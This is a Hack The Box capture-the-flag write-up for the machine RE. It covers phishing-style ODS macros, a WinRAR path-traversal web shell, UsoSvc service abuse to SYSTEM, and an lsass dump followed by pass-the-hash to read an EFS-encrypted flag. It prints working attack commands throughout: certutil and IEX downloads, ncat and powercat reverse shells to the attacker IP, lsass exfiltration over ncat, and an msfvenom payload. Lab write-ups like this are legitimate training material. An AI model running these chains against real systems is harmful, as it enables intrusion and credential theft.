Hack The Box Write-up - RE

11 minute read Published:

Write-up for the machine RE from Hack The Box. A fun one if you like Client-side exploits. You check out the website and find a blog with plenty of information on bad Office macros and malware analysis. A writable SMB share called "malware_dropbox" invites you do upload a prepared .ods file, which is all you need for the initial shell. The script that processes these uploads contains comments with hints about downstream .rar file processing. You guess this must be about the WinRAR ACE vulnerability, prepare an archive which writes a web shell and voilà, you get another shell. This is where the intended way would have been to upload yet another malicious file, this time exploiting an XXE in Ghidra. I did it in a different way though, by service abuse to become SYSTEM. Surprisingly, this was not enough to read the flag. It is encrypted with EFS and only the right user can read it. As SYSTEM though it is easy to impersonate this user since we get all the NT hashes and can pass them to WinRM, which can be accessed remotely after forwarding the port.
Table of Contents

RE

Port scan

As usual, I started with a full TCP port scan. Only two ports were open:

root@Kali:~# nmap -p- --reason --min-rate 2000 10.10.10.144
...
PORT    STATE SERVICE      REASON
80/tcp  open  http         syn-ack ttl 127
445/tcp open  microsoft-ds syn-ack ttl 127
...

Malicious ODS Macro

Discovering the malware dropbox

On port 80, accessed by IP, I found a website that redirects to “reblog.htb”. I added an entry to “/etc/hosts” to resolve this hostname to “10.10.10.144”, then visited the site. Now there was a blog hosted on IIS 10 operated on Windows Server, presenting a few articles about ODS macro files.

Homepage of reblog.htb

Most importantly, the first entry contained a hint that this box was about a client-side exploit. The text was:

The SOC has been seeing lots of phishing attempts with ods attachements lately.
It seems that we’ve got rules in place to detect any run of the mill stuff,
including documents that are generated by Metasploit, documents with powershell
or cmd invocations.

If you see any interesting documents that might get past our yara rules,
please drop them in the malware dropbox. I’ve got some automated processing
that will see if our rules already identify it, and if not, run it to collect
some log data and queue it for further analysis.

There was a 2nd virtual host “re.htb” which I also added to the hosts file. It returned only a single sentence saying “Ghidra Dropbox coming soon!”. There were also comments in the HTML. They contained some instructions how to upload files to this dropbox. For now, this was nothing but a red herring. It would have been relevant later if you would follow the intended route (but I did not).

HTML comments contain instructions about future features, which are not yet implemented

If you ask yourself “Where is this malware dropbox?” then look at port 445. I listed shares and found one called “malware_dropbox” (type empty password):

root@Kali:~# smbclient -N -L \\\\10.10.10.144
Enter WORKGROUP\root's password:

        Sharename       Type      Comment
        ---------       ----      -------
        IPC$            IPC       Remote IPC
        malware_dropbox Disk
...

A quick test showed that I could also mount this share and write files to it, which disappeared only seconds after writing them:

root@Kali:~# mount //10.10.10.144/malware_dropbox /mnt/smb/
Password for root@//10.10.10.144/malware_dropbox:
root@Kali:~# cd /mnt/smb/
root@Kali:/mnt/smb# ls
root@Kali:/mnt/smb# touch f1 && ls
f1*
root@Kali:/mnt/smb# sleep 3
root@Kali:/mnt/smb# ls
root@Kali:/mnt/smb#

The goal now was to craft a malicious macro, possibly bypassing these nasty Yara rules mentioned in the blog post.

Creating the macro

The following is a quick walkthrough for how to create macros. You have to have LibreOffice installed, which is quite a sizable download. Alternatively you could also try your luck getting one out of Metasploit (cf. here), but I guess the Yara rules would probably detect it. The manual way gives you full control over the payload.

Now, open LibreOffice Calc, then go to “Tools”, “Macros”, “Organize Macros”, then “Basics”:

Open macro organizer

Now select the current document (“Untitled 1”, unless you already saved the document), and hit “New”:

Open macro organizer

This will create a new module. Give it a name and you will be dropped into the editor. To test for basic command execution I first added a simple pingback payload: “ping -n 1 10.10.15.130":

Create pingback macro

Now save the file (I named it “pingback.ods”), then close the macro editor. Then open “Tools”, “Customize”, select the “Open Document” event, and select your module’s Main function. Then hit “OK”:

Configure macro to execute when document is opened

This was it and I was ready to test the file. I uploaded it to the malware dropbox and waited for a ping, which arrived after only a few seconds:

Receiving a ping from the macro

I went on to get a reverse shell using the following payload:

Shell("certutil.exe -urlcache -split -f 'http://10.10.15.130/ncat.exe' 'C:\Windows\Temp\ncat.exe'")
Shell("C:\Windows\Temp\ncat.exe --ssl -e cmd.exe 10.10.15.130 9001")
Reverse ncat shell as luke

The trick probably was that the macro does not use “cmd.exe” or “powershell.exe”. Instead it just calls programs directly. I had no luck with any cmd or PowerShell payloads.

Malicious RAR file

Discovering the WinRAR vulnerability

In “C:\Users\luke\Documents” I found a file “process_samples.ps1” that seemed to be responsible for processing the uploads:

$process_dir = "C:\Users\luke\Documents\malware_process"
$files_to_analyze = "C:\Users\luke\Documents\ods"
$yara = "C:\Users\luke\Documents\yara64.exe"
$rule = "C:\Users\luke\Documents\ods.yara"

while($true) {
        # Get new samples
        move C:\Users\luke\Documents\malware_dropbox\* $process_dir

        # copy each ods to zip file
        Get-ChildItem $process_dir -Filter *.ods |
        Copy-Item -Destination {$_.fullname -replace ".ods", ".zip"}

        Get-ChildItem $process_dir -Filter *.zip | ForEach-Object {

                # unzip archive to get access to content
                $unzipdir = Join-Path $_.directory $_.Basename
                New-Item -Force -ItemType directory -Path $unzipdir | Out-Null
                Expand-Archive $_.fullname -Force -ErrorAction SilentlyContinue -DestinationPath $unzipdir

                # yara to look for known malware
                $yara_out = & $yara -r $rule $unzipdir
                $ods_name = $_.fullname -replace ".zip", ".ods"
                if ($yara_out.length -gt 0) {
                        Remove-Item $ods_name
                }
        }


        # if any ods files left, make sure they launch, and then archive:
        $files = ls $process_dir\*.ods
        if ( $files.length -gt 0) {
                # launch ods files
                Invoke-Item "C:\Users\luke\Documents\malware_process\*.ods"
                Start-Sleep -s 5

                # kill open office, sleep
                Stop-Process -Name soffice*
                Start-Sleep -s 5

                #& 'C:\Program Files (x86)\WinRAR\Rar.exe' a -ep $process_dir\temp.rar $process_dir\*.ods 2>&1 | Out-Null
                Compress-Archive -Path "$process_dir\*.ods" -DestinationPath "$process_dir\temp.zip"
                $hash = (Get-FileHash -Algorithm MD5 $process_dir\temp.zip).hash
                # Upstream processing may expect rars. Rename to .rar
                Move-Item -Force -Path $process_dir\temp.zip -Destination $files_to_analyze\$hash.rar
        }

        Remove-Item -Recurse -force -Path $process_dir\*
        Start-Sleep -s 5
}

It basically grabs all uploaded documents, unzips them, runs Yara on them and deletes all files that match, then launches all ODS files that are left. In the end it creates a RAR archive. The comment is a hint that some downstream processing would happen to it. These files are written to “C:\Users\luke\Documents\ods”.

I found an empty folder at “C:\Program Files (x86)\WinRAR” but an installer was still left in “C:\Users\luke\Downloads”, which indicated the version may be 5.50 beta 1. Searching for exploits brought up path traversal / RCE exploits for WinRAR 5.61, which may apply:

WinRAR 5.50 installer and exploits

Exploiting WinRAR

A publicly available exploit is on github.com/manulqwerty/Evil-WinRAR-Gen. It claims to be an RCE since you can write stuff to the startup folder with it. On HTB the machine will not be rebooted so we need a better idea, like writing a web shell into one of the web directories the current user has no access to.

I grabbed a shell from “/usr/share/nishang/Antak-WebShell/antak.aspx” and created the RAR file with “opt/Evil-WinRAR-Gen/evilWinRAR.py -o evil.rar -e FY7JGAlO4a9YVcCdFwk5mHSK.aspx -g harmless.txt -p '\inetpub\wwwroot\re\'”. For some reason it needs a harmless file, which can contain anything. A simple download to “C:\Users\luke\Documents\ods” triggered processing and the file disappeared shortly after the download:

Creating and uploading an evil RAR file

I was then able to access the webshell:

Using the web shell as user re

Upgrading the shell

A web shell is nice but a reverse shell is better. To do it I used github.com/besimorhino/powercat. I downloaded “powercat.ps1”, appended “powercat -c 10.10.15.130 -p 443 -ep” to make it send a Powershell reverse shell back. After setting up a listener with “nc -lnvp 443” I executed the following command through the web shell: “IEX (New-Object System.Net.WebClient).DownloadString('http://10.10.15.130/powercat.ps1')":

Upgrading to reverse shell

The result was a reverse shell, running as user “apppool\re”, and with full PowerShell support.

Abusing UsoSvc Service

Discovering the service

I grabbed a copy of PowerUp.ps1 and ran all checks. It brought up 2 findings, one of which was a vulnerable service called UsoSvc which I could abuse to execute code as SYSTEM.

PS C:\windows\system32\inetsrv> IEX (New-Object System.Net.WebClient).DownloadString('http://10.10.15.130/PowerUp.ps1')
PS C:\windows\system32\inetsrv> Invoke-AllChecks


Privilege   : SeImpersonatePrivilege
Attributes  : SE_PRIVILEGE_ENABLED_BY_DEFAULT, SE_PRIVILEGE_ENABLED
TokenHandle : 2100
ProcessId   : 2460
Name        : 2460
Check       : Process Token Privileges

ServiceName   : UsoSvc
Path          : C:\Windows\system32\svchost.exe -k netsvcs -p
StartName     : LocalSystem
AbuseFunction : Invoke-ServiceAbuse -Name 'UsoSvc'
CanRestart    : True
Name          : UsoSvc
Check         : Modifiable Services

If PowerUp would have been blocked you could have identified the service with accesschk.exe from SysInternals. Transfer it to the box, then check your groups. For each, you can ask accesschk for your permissions:

PS C:\Users\Public\Documents> whoami /groups

GROUP INFORMATION
-----------------

Group Name                           Type             SID          Attributes
==================================== ================ ============ ==================================================
Mandatory Label\High Mandatory Level Label            S-1-16-12288
Everyone                             Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                        Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\SERVICE                 Well-known group S-1-5-6      Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                        Well-known group S-1-2-1      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users     Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization       Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
BUILTIN\IIS_IUSRS                    Alias            S-1-5-32-568 Mandatory group, Enabled by default, Enabled group
LOCAL                                Well-known group S-1-2-0      Mandatory group, Enabled by default, Enabled group
                                     Unknown SID type S-1-5-82-0   Mandatory group, Enabled by default, Enabled group
PS C:\Users\Public\Documents> .\accesschk.exe -uwcqv "NT AUTHORITY\SERVICE" * /accepteula

Accesschk v6.12 - Reports effective permissions for securable objects
Copyright (C) 2006-2017 Mark Russinovich
Sysinternals - www.sysinternals.com

RW UsoSvc
        SERVICE_ALL_ACCESS

Exploitation the access

Now it was easy to a reverse shell as SYSTEM. I simply reconfigured the service to send me one. Note that I used “cmd /c start C:\Users\Public\Documents\ncat.exe --ssl -e cmd 10.10.15.130 8001” so that ncat gets started in a separate command prompt in cmd, which ensures it is not killed. Otherwise, since ncat does not implement the Windows Service API, it would get killed shortly after launch.

Abusing UsoSvc to get a reverse shell as SYSTEM

Pivoting to coby

Apparently SYSTEM cannot read the flag because it is encrypted. After a short moment of WTF I learned it was due to the flag being encrypted by EFS. This can be check with “cipher /c <file>":

SYSTEM cannot read the flag

There is a mimikatz guide to decrypt such files. However, I got some errors when using mimikatz on the box, got frustrated and looked for other ways.

Good old SysInternals to the rescue, I ran procdump and waited a long time to get the memory dump of lsass to my system. To dump it I ran procdump64.exe -accepteula -64 -ma lsass.exe lsass.dmp. I then copied over the dump with netcat. Locally I listened with “nc --ssl -lnvp 8005 > lsass.dmp”, then started the file transfer from the box with “ncat.exe --ssl -i 5 10.10.15.130 8005 < lsass.dmp”. 89 MB took a while but in the end it worked:

Transfer dump with ncat

Locally I now ran “pypykatz lsa minidump lsass.dmp” to dump the hashes. I got the NT hash of coby ("fa88e03e41fdf7b707979c50d57c06cf"):

Extracting the hash of coby

Now I had to access the host as this user in some way. Attempts to use psexec were not successful (frustration again). However, I noticed the box listens on 5985, but the port was firewalled. I uploaded github.com/jpillora/chisel to the box to forward the port (standalone Golang tool you can easily cross-compile for Windows). Locally I launched the server with “./chisel server -p 8989 --reverse”, then I connected the client from the target box with “./chisel.exe client 10.10.15.130:8989 R:5985:127.0.0.1:5985”.

With these preparations I was able to connect with github.com/Hackplayers/evil-winrm, passing the hash for coby: “./evil-winrm.rb -i 127.0.0.1 -u coby -H fa88e03e41fdf7b707979c50d57c06cf”. Now the flag was finally readable:

Port forwarding to get a WinRM shell

Meterpreter and Incognito

If WinRM would not have been available Meterpreter would have been the way to go. It can be used to run the incognito module, which allows to impersonate other users. As SYSTEM, you can impersonate anybody. Thus I could use it to become coby and read the flag.

To get meterpreter, I used “msfvenom -p windows/meterpreter/reverse_https LHOST=10.10.15.130 LPORT=443 -f exe -o /tmp/www/msf.exe” to generate an executable, transfered it to the box and started it using UsoSvc. Locally I ran a handler and got the session. This was all I needed to become coby and get the flag:

Impersonating coby to read the flag

References

  • 0xdf writeup: excellent information first-hand from the creator of the box.
  • snowscan writeup: straightforward solution, also going an unintended way.
  • another writeup: shows you how to prepare the evil macro without LibreOffice.